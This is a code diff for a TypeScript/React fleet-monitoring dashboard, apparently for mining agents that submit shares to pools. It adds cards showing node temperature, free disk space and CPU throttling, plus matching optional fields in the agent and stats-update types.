|
if (t > max) { max = t; best = a; }
|
||||||
|
}
|
||||||
|
return best && max > 0 ? { agent: best, temp: max } : null;
|
||||||
|
}, [onlineAgents]);
|
||||||
|
|
||||||
|
const minDiskNode = useMemo(() => {
|
||||||
|
let best: typeof agents[0] | null = null;
|
||||||
|
let min = Infinity;
|
||||||
|
for (const a of onlineAgents) {
|
||||||
|
if (a.disk_free_pct !== undefined && a.disk_free_pct < min) {
|
||||||
|
min = a.disk_free_pct; best = a;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return best ? { agent: best, pct: min } : null;
|
||||||
|
}, [onlineAgents]);
|
||||||
|
|
||||||
|
const throttledCount = useMemo(
|
||||||
|
() => onlineAgents.filter(a => a.cpu_throttle).length,
|
||||||
|
[onlineAgents]
|
||||||
|
);
|
||||||
|
|
||||||
// ── Analytics ─────────────────────────────────────────────────────────────
|
// ── Analytics ─────────────────────────────────────────────────────────────
|
||||||
const fleetHealth = useMemo(() => computeFleetHealth(agents, pools), [agents, pools]);
|
const fleetHealth = useMemo(() => computeFleetHealth(agents, pools), [agents, pools]);
|
||||||
const contribs = useMemo(() => contributionBars(agents), [agents]);
|
const contribs = useMemo(() => contributionBars(agents), [agents]);
|
||||||
@@ -349,6 +378,69 @@ export default function DashboardPage() {
|
|||||||
</div>
|
</div>
|
||||||
<div className="stat-sub">{totalShares.toLocaleString()} total submitted</div>
|
<div className="stat-sub">{totalShares.toLocaleString()} total submitted</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
|
{/* ── Resource Pressure cards ──────────────────────────────────────── */}
|
||||||
|
<NeonCard
|
||||||
|
accent={hottestNode && hottestNode.temp > 80 ? 'amber' : 'cyan'}
|
||||||
|
className="stat-card-wrap"
|
||||||
|
>
|
||||||
|
<div className="stat-label font-tech">Hottest Node</div>
|
||||||
|
{hottestNode ? (
|
||||||
|
<>
|
||||||
|
<div className={`stat-value ${hottestNode.temp > 80 ? 'neon-glow-amber' : 'neon-glow-cyan'}`}>
|
||||||
|
{hottestNode.temp}
|
||||||
|
<span className="stat-dim" style={{ fontSize: '0.8em' }}>°C</span>
|
||||||
|
</div>
|
||||||
|
<div className="stat-sub" title={hottestNode.agent.id}>
|
||||||
|
{hottestNode.agent.name.length > 14 ? hottestNode.agent.name.slice(0, 13) + '…' : hottestNode.agent.name}
|
||||||
|
{hottestNode.temp > 80 && ' ⚠'}
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="stat-value stat-dim">—</div>
|
||||||
|
<div className="stat-sub">no temp data</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard
|
||||||
|
accent={minDiskNode && minDiskNode.pct < 10 ? 'amber' : 'green'}
|
||||||
|
className="stat-card-wrap"
|
||||||
|
>
|
||||||
|
<div className="stat-label font-tech">Min Disk Free</div>
|
||||||
|
{minDiskNode ? (
|
||||||
|
<>
|
||||||
|
<div className={`stat-value ${minDiskNode.pct < 10 ? 'neon-glow-amber' : 'accepted'}`}>
|
||||||
|
{minDiskNode.pct}
|
||||||
|
<span className="stat-dim" style={{ fontSize: '0.8em' }}>%</span>
|
||||||
|
</div>
|
||||||
|
<div className="stat-sub" title={minDiskNode.agent.id}>
|
||||||
|
{minDiskNode.agent.name.length > 14 ? minDiskNode.agent.name.slice(0, 13) + '…' : minDiskNode.agent.name}
|
||||||
|
{minDiskNode.pct < 10 && ' ⚠ low'}
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="stat-value stat-dim">—</div>
|
||||||
|
<div className="stat-sub">no disk data</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard
|
||||||
|
accent={throttledCount > 0 ? 'amber' : 'purple'}
|
||||||
|
className="stat-card-wrap"
|
||||||
|
>
|
||||||
|
<div className="stat-label font-tech">CPU Throttled</div>
|
||||||
|
<div className={`stat-value ${throttledCount > 0 ? 'neon-glow-amber' : 'neon-glow-purple'}`}>
|
||||||
|
{throttledCount}
|
||||||
|
<span className="stat-dim" style={{ fontSize: '0.8em' }}> node{throttledCount !== 1 ? 's' : ''}</span>
|
||||||
|
</div>
|
||||||
|
<div className="stat-sub">
|
||||||
|
{throttledCount === 0 ? 'fleet running at full speed' : `${throttledCount} below 80% rated freq`}
|
||||||
|
</div>
|
||||||
|
</NeonCard>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||||
|
|||||||
@@ -24,6 +24,17 @@ export interface Agent {
|
|||||||
arch?: string;
|
arch?: string;
|
||||||
os_version?: string;
|
os_version?: string;
|
||||||
capabilities?: AgentCapabilities;
|
capabilities?: AgentCapabilities;
|
||||||
|
// Resource pressure
|
||||||
|
cpu_freq_mhz?: number;
|
||||||
|
cpu_max_mhz?: number;
|
||||||
|
cpu_throttle?: boolean;
|
||||||
|
cpu_temp_c?: number;
|
||||||
|
disk_free_gb?: number;
|
||||||
|
disk_total_gb?: number;
|
||||||
|
disk_free_pct?: number;
|
||||||
|
gpu_temp_c?: number;
|
||||||
|
gpu_usage_pct?: number;
|
||||||
|
|
||||||
ssh_available?: boolean;
|
ssh_available?: boolean;
|
||||||
posture_score?: number;
|
posture_score?: number;
|
||||||
last_patch_days?: number;
|
last_patch_days?: number;
|
||||||
|
|||||||
@@ -19,6 +19,16 @@ export interface WSStatsUpdate {
|
|||||||
uptime_seconds?: number;
|
uptime_seconds?: number;
|
||||||
shares_submitted?: number;
|
shares_submitted?: number;
|
||||||
shares_accepted?: number;
|
shares_accepted?: number;
|
||||||
|
// Resource pressure
|
||||||
|
cpu_freq_mhz?: number;
|
||||||
|
cpu_max_mhz?: number;
|
||||||
|
cpu_throttle?: boolean;
|
||||||
|
cpu_temp_c?: number;
|
||||||
|
disk_free_gb?: number;
|
||||||
|
disk_total_gb?: number;
|
||||||
|
disk_free_pct?: number;
|
||||||
|
gpu_temp_c?: number;
|
||||||
|
gpu_usage_pct?: number;
|
||||||
ssh_available?: boolean;
|
ssh_available?: boolean;
|
||||||
posture_score?: number;
|
posture_score?: number;
|
||||||
last_patch_days?: number;
|
last_patch_days?: number;
|
||||||
|
|||||||
Reference in New Issue
Block a user